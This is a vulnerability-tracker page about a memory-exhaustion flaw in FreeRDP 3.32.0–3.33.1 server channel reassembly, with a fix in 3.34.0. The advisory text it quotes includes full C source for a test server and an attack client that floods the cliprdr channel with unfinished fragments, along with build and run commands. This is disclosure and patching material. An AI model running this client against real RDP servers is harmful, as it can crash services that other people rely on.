Read the docs

Unbounded reassembly of static channel data in FreeRDP server

Priority MEDIUM 44CWE-770Published · Updated

Key facts

Attack vector
Network
Privileges required
Low
User interaction
None
Attack complexity
Low
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · High
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-wr95-2j89-rj7q. Fix status from GitHub. Impact type from CWE-770.

Summary

FreeRDP from 3.32.0 through 3.33.1 reassembles fragmented data for SHOW_PROTOCOL static channels such as cliprdr, rdpdr and rail without any total size limit. The flaw is CWE-770: the reassembly buffer has no size cap. An authenticated remote client that joins such a channel can start a fragmented message and never finish it, so the server keeps growing its memory for the rest of the session.

Written with Claude Haiku 5.5 from the sources below · 2026-12-03

Description from the GitHub advisory

### Summary The fix for GHSA-xm53-352c-57jw added a total length check to server side static channel reassembly, but only on one of the two paths. Channels that are opened with `CHANNEL_OPTION_SHOW_PROTOCOL` (the cliprdr, rdpdr and rail server channels) skip that check and get reassembled by `ChannelPduTracker`, which has no limit at all. So an authenticated client can still start a fragmented message on cliprdr and never finish it, and the server keeps every byte for the rest of the session. gnome-remote-desktop starts the stock cliprdr server channel for any client that joins cliprdr, so it is affected in its default setup. ### Details In `libfreerdp/core/server.c`, `WTSProcessChannelData()` handles `SHOW_PROTOCOL` channels in its first branch (lines 492-526): it re-chunks the client fragment into <= 1600 byte `CHANNEL_PDU_HEADER` chunks, keeps the client's FIRST/LAST flags, queues them and returns. The GHSA-xm53 check at line 561 (`else if (Stream_GetPosition(channel->receiveData) >= totalSize) return FALSE;`) is in the other branch, so it never runs for these channels. The channel thread then reads the chunks with `ChannelPduTracker_poll()` (`libfreerdp/utils/channel_pdu_tracker.c:60-86`). It checks each chunk is <= 1600 bytes, but for chunks without FIRST or LAST it just does `Stream_EnsureRemainingCapacity()` + `Stream_Write()` onto the current packet. Theres no total cap and the declared total length is not used, the buffer only resets on the next FIRST. Channels using this path: cliprdr server (`channels/cliprdr/server/cliprdr_main.c:1294`, tracker at :1302 / :1151), rdpdr server (`rdpdr_main.c:2362`), rail server (`rail_main.c:1429`). ### Proof of concept Tested on Fedora 44 with the distro packages freerdp-libs / freerdp-server / libwinpr 3.33.1-1.fc44 (the shipped .so files, library not rebuilt), over a normal TLS + NLA connection on localhost. - Server (`v1srv.c`, below): minimal libfreerdp server with an NTLM SAM user. In PostConnect, if the client joined cliprdr, it calls `cliprdr_server_context_new(vcm)` and `Start()`, the same 2 calls gnome-remote-desktop 50.2 makes (`grd-session-rdp.c:1984`, `grd-clipboard-rdp.c:2427/2464`). - Client (`v1cli.c`, below): joins cliprdr, then calls `SendChannelPacket()` with a declared totalSize of 1600. Attack mode sends the first chunk with `CHANNEL_FLAG_FIRST` and every later chunk with flags 0. Control mode sends the same bytes but every chunk is FIRST|LAST (a valid `CB_FORMAT_LIST_RESPONSE`, which the server parses and drops). - Server RSS sampled from /proc while the client is still connected (server in a 1.5G cgroup). | run | sent | server RSS 2s after last send | after disconnect | |---|---|---|---| | control | 480 MB | 30.9 MB | 22.8 MB | | attack | 480 MB | 494 MB | 22.6 MB | | attack | 1.6 GB | 1407 MB (peak 1537 MB, hit the cgroup cap and went to swap) | 21.2 MB | Build (against the 3.33.1 headers, linking the distro libs): `clang -std=c23 -D_GNU_SOURCE -I<freerdp>/include -I<freerdp>/winpr/include -I<build>/include -I<build>/winpr/include v1srv.c -o v1srv -lfreerdp-server3 -lfreerdp3 -lwinpr3` (same for v1cli without -lfreerdp-server3). Run `./v1srv 33911 server.crt server.key` with `sam.txt` = `tester:::fc525c9683e8fe067095ba2ddc971889:::` (password `Passw0rd!`), then `./v1cli 33911 300000` (attack) or `./v1cli 33911 300000 c` (control). <details><summary>v1srv.c</summary> ```c /* Minimal FreeRDP server that runs the stock cliprdr server channel the way * gnome-remote-desktop does (cliprdr_server_context_new + Start). Used to test * V1 natively against Fedora's shipped libfreerdp 3.33.1. */ #include <stdio.h> #include <freerdp/freerdp.h> #include <freerdp/listener.h> #include <freerdp/peer.h> #include <freerdp/channels/wtsvc.h> #include <freerdp/channels/channels.h> #include <freerdp/server/cliprdr.h> #include <freerdp/crypto/certificate.h> #include <freerdp/crypto/privatekey.h> #include <winpr/ssl.h> #include <winpr/thread.h> #include <winpr/synch.h> typedef struct { rdpContext ctx; HANDLE vcm; CliprdrServerContext* cliprdr; } srvCtx; static const char* g_cert; static const char* g_key; static BOOL ctx_new(freerdp_peer* p, rdpContext* c) { srvCtx* s = (srvCtx*)c; s->vcm = WTSOpenServerA((LPSTR)p->context); return s->vcm && s->vcm != INVALID_HANDLE_VALUE; } static void ctx_free(freerdp_peer* p, rdpContext* c) { srvCtx* s = (srvCtx*)c; (void)p; if (s->cliprdr) { s->cliprdr->Stop(s->cliprdr); cliprdr_server_context_free(s->cliprdr); } if (s->vcm) WTSCloseServer(s->vcm); } static BOOL post_connect(freerdp_peer* p) { srvCtx* s = (srvCtx*)p->context; if (!WTSVirtualChannelManagerIsChannelJoined(s->vcm, "cliprdr")) { fprintf(stderr, "[srv] client did not join cliprdr\n"); return TRUE; } s->cliprdr = cliprdr_server_context_new(s->vcm); if (!s->cliprdr) return FALSE; UINT rc = s->cliprdr->Start(s->cliprdr); fprintf(stderr, "[srv] cliprdr server started rc=%u\n", rc); return rc == CHANNEL_RC_OK; } static BOOL activate(freerdp_peer* p) { (void)p; return TRUE; } static DWORD WINAPI peer_loop(LPVOID arg) { freerdp_peer* p = arg; p->ContextSize = sizeof(srvCtx); p->ContextNew = ctx_new; p->ContextFree = ctx_free; if (!freerdp_peer_context_new(p)) return 0; rdpSettings* st = p->context->settings; rdpPrivateKey* key = freerdp_key_new_from_file_enc(g_key, nullptr); rdpCertificate* cert = freerdp_certificate_new_from_file(g_cert); if (!key || !cert) { fprintf(stderr, "cert/key load failed\n"); return 0; } if (!freerdp_settings_set_pointer_len(st, FreeRDP_RdpServerRsaKey, key, 1) || !freerdp_settings_set_pointer_len(st, FreeRDP_RdpServerCertificate, cert, 1) || !freerdp_settings_set_bool(st, FreeRDP_RdpSecurity, FALSE) || !freerdp_settings_set_bool(st, FreeRDP_TlsSecurity, TRUE) || !freerdp_settings_set_bool(st, FreeRDP_NlaSecurity, TRUE) || !freerdp_settings_set_string(st, FreeRDP_NtlmSamFile, "sam.txt")) return 0; p->PostConnect = post_connect; p->Activate = activate; if (!p->Initialize(p)) return 0; srvCtx* s = (srvCtx*)p->context; for (;;) { HANDLE h[34]; DWORD n = p->GetEventHandles(p, h, 32); if (!n) break; h[n++] = WTSVirtualChannelManagerGetEventHandle(s->vcm); if (WaitForMultipleObjects(n, h, FALSE, INFINITE) == WAIT_FAILED) break; if (!p->CheckFileDescriptor(p)) break; if (!WTSVirtualChannelManagerCheckFileDescriptor(s->vcm)) break; } fprintf(stderr, "[srv] peer loop ended\n"); p->Disconnect(p); freerdp_peer_context_free(p); freerdp_peer_free(p); return 0; } static BOOL accepted(freerdp_listener* l, freerdp_peer* p) { (void)l; HANDLE t = CreateThread(nullptr, 0, peer_loop, p, 0, nullptr); if (!t) return FALSE; (void)CloseHandle(t); return TRUE; } int main(int argc, char** argv) { if (argc < 4) { fprintf(stderr, "usage: %s port cert key\n", argv[0]); return 2; } g_cert = argv[2]; g_key = argv[3]; WTSRegisterWtsApiFunctionTable(FreeRDP_InitWtsApi()); winpr_InitializeSSL(WINPR_SSL_INIT_DEFAULT); freerdp_listener* l = freerdp_listener_new(); l->PeerAccepted = accepted; if (!l->Open(l, "127.0.0.1", (UINT16)atoi(argv[1]))) { fprintf(stderr, "listen failed\n"); return 1; } fprintf(stderr, "[srv] listening\n"); for (;;) { HANDLE h[32]; DWORD n = l->GetEventHandles(l, h, 32); if (!n || WaitForMultipleObjects(n, h, FALSE, INFINITE) == WAIT_FAILED) break; if (!l->CheckFileDescriptor(l)) break; } return 0; } ``` </details> <details><summary>v1cli.c</summary> ```c /* Minimal FreeRDP client: joins the cliprdr static channel, then sends one * CHANNEL_FLAG_FIRST fragment followed by N middle fragments (no FIRST, no * LAST) while declaring a 1600-byte total length. */ #include <stdio.h> #include <stdlib.h> #include <freerdp/freerdp.h> #include <freerdp/channels/channels.h> #include <freerdp/svc.h> #include <winpr/ssl.h> static BOOL rx_ignore(freerdp* i, UINT16 id, const BYTE* d, size_t sz, UINT32 f, size_t t) { (void)i;(void)id;(void)d;(void)sz;(void)f;(void)t; return TRUE; } static BOOL pre_connect(freerdp* inst) { rdpSettings* st = inst->context->settings; CHANNEL_DEF def = { 0 }; strcpy(def.name, "cliprdr"); def.options = CHANNEL_OPTION_INITIALIZED | CHANNEL_OPTION_ENCRYPT_RDP | CHANNEL_OPTION_COMPRESS_RDP | CHANNEL_OPTION_SHOW_PROTOCOL; UINT32 n = freerdp_settings_get_uint32(st, FreeRDP_ChannelCount); if (!freerdp_settings_set_pointer_array(st, FreeRDP_ChannelDefArray, n, &def) || !freerdp_settings_set_uint32(st, FreeRDP_ChannelCount, n + 1)) { fprintf(stderr, "chan def failed\n"); return FALSE; } fprintf(stderr, "[cli] pre_connect: channel count %u\n", n + 1); return TRUE; } int main(int argc, char** argv) { if (argc < 3) { fprintf(stderr, "usage: %s port nchunks [mode]\n", argv[0]); return 2; } const long n = atol(argv[2]); const int control = argc > 3 && argv[3][0] == 'c'; /* control: FIRST|LAST each time */ winpr_InitializeSSL(WINPR_SSL_INIT_DEFAULT); freerdp* inst = freerdp_new(); inst->ContextSize = sizeof(rdpContext); if (!freerdp_context_new(inst)) return 1; rdpSettings* st = inst->context->settings; freerdp_settings_set_string(st, FreeRDP_ServerHostname, "127.0.0.1"); freerdp_settings_set_uint32(st, FreeRDP_ServerPort, (UINT32)atoi(argv[1])); freerdp_settings_set_string(st, FreeRDP_Username, "tester"); freerdp_settings_set_string(st, FreeRDP_Password, "Passw0rd!"); freerdp_settings_set_bool(st, FreeRDP_IgnoreCertificate, TRUE); freerdp_settings_set_bool(st, FreeRDP_RdpSecurity, FALSE); freerdp_settings_set_bool(st, FreeRDP_TlsSecurity, TRUE); freerdp_settings_set_bool(st, FreeRDP_NlaSecurity, TRUE); freerdp_settings_set_string(st, FreeRDP_AuthenticationPackageList, "!kerberos"); freerdp_settings_set_bool(st, FreeRDP_DeactivateClientDecoding, TRUE); inst->LoadChannels = pre_connect; inst->ReceiveChannelData = rx_ignore; if (!freerdp_connect(inst)) { fprintf(stderr, "[cli] connect failed 0x%08x\n", freerdp_get_last_error(inst->context)); return 1; } inst->ReceiveChannelData = rx_ignore; UINT16 id = freerdp_channels_get_id_by_name(inst, "cliprdr"); fprintf(stderr, "[cli] connected, cliprdr id=%u, sending %ld chunks (%s)\n", id, n, control ? "control" : "attack"); static BYTE buf[1600]; memset(buf, 'A', sizeof(buf)); /* valid CB_FORMAT_LIST_RESPONSE header: msgType=3, msgFlags=CB_RESPONSE_OK, dataLen=1592 */ const BYTE hdr[8] = { 0x03, 0x00, 0x01, 0x00, 0x38, 0x06, 0x00, 0x00 }; memcpy(buf, hdr, sizeof(hdr)); for (long i = 0; i < n; i++) { UINT32 fl = control ? (CHANNEL_FLAG_FIRST | CHANNEL_FLAG_LAST) : (i == 0 ? CHANNEL_FLAG_FIRST : 0); if (!inst->SendChannelPacket(inst, id, sizeof(buf), fl, buf, sizeof(buf))) { fprintf(stderr, "[cli] send failed at %ld\n", i); break; } if ((i & 255) == 0) { HANDLE h[32]; DWORD c = freerdp_get_event_handles(inst->context, h, 32); if (WaitForMultipleObjects(c, h, FALSE, 0) != WAIT_TIMEOUT && !freerdp_check_event_handles(inst->context)) { fprintf(stderr, "[cli] connection dropped at %ld\n", i); break; } } } fprintf(stderr, "[cli] done sending, holding 5s\n"); for (int k = 0; k < 50; k++) { HANDLE h[32]; DWORD c = freerdp_get_event_handles(inst->context, h, 32); WaitForMultipleObjects(c, h, FALSE, 100); if (!freerdp_check_event_handles(inst->context)) { fprintf(stderr, "[cli] dropped during hold\n"); break; } } freerdp_disconnect(inst); freerdp_context_free(inst); freerdp_free(inst); return 0; } ``` </details> ### Impact Memory exhaustion of the server process by an authenticated client, same shape as GHSA-xm53: memory grows with the attackers traffic and stays until the session ends, and a few sessions can take the server down. Affects any FreeRDP based server that runs the cliprdr, rdpdr or rail server channels, including gnome-remote-desktop. I did not test a live gnome-remote-desktop instance, only a server that sets up cliprdr the same way it does. A fix could be to check the cumulative size in `ChannelPduTracker_poll()` against the total length the client declared (or a fixed max), like the line 561 check does on the other path.

Why it matters now

Fix Fixed freerdp: 3.34.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—freerdp>= 3.32.0, <= 3.33.13.34.0Patch availableGHSA-wr95-2j89-rj7q
  • freerdp Vendor— Affected >= 3.32.0, <= 3.33.1 Fixed in 3.34.0 Patch available GHSA-wr95-2j89-rj7q

Remediation

FreeRDP 3.34.0 fixes this vulnerability, so upgrade FreeRDP to 3.34.0 or later.

Written with Claude Haiku 5.5 from the sources below · 2026-12-03

  • Fix · GHSA-wr95-2j89-rj7q freerdp Fixed in 3.34.0 Advisory →

Timeline

  1. 2026-12-03 Threatist record created from GHSA-wr95-2j89-rj7q
  2. 2026-12-03 CVSS score added · GHSA-wr95-2j89-rj7q

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences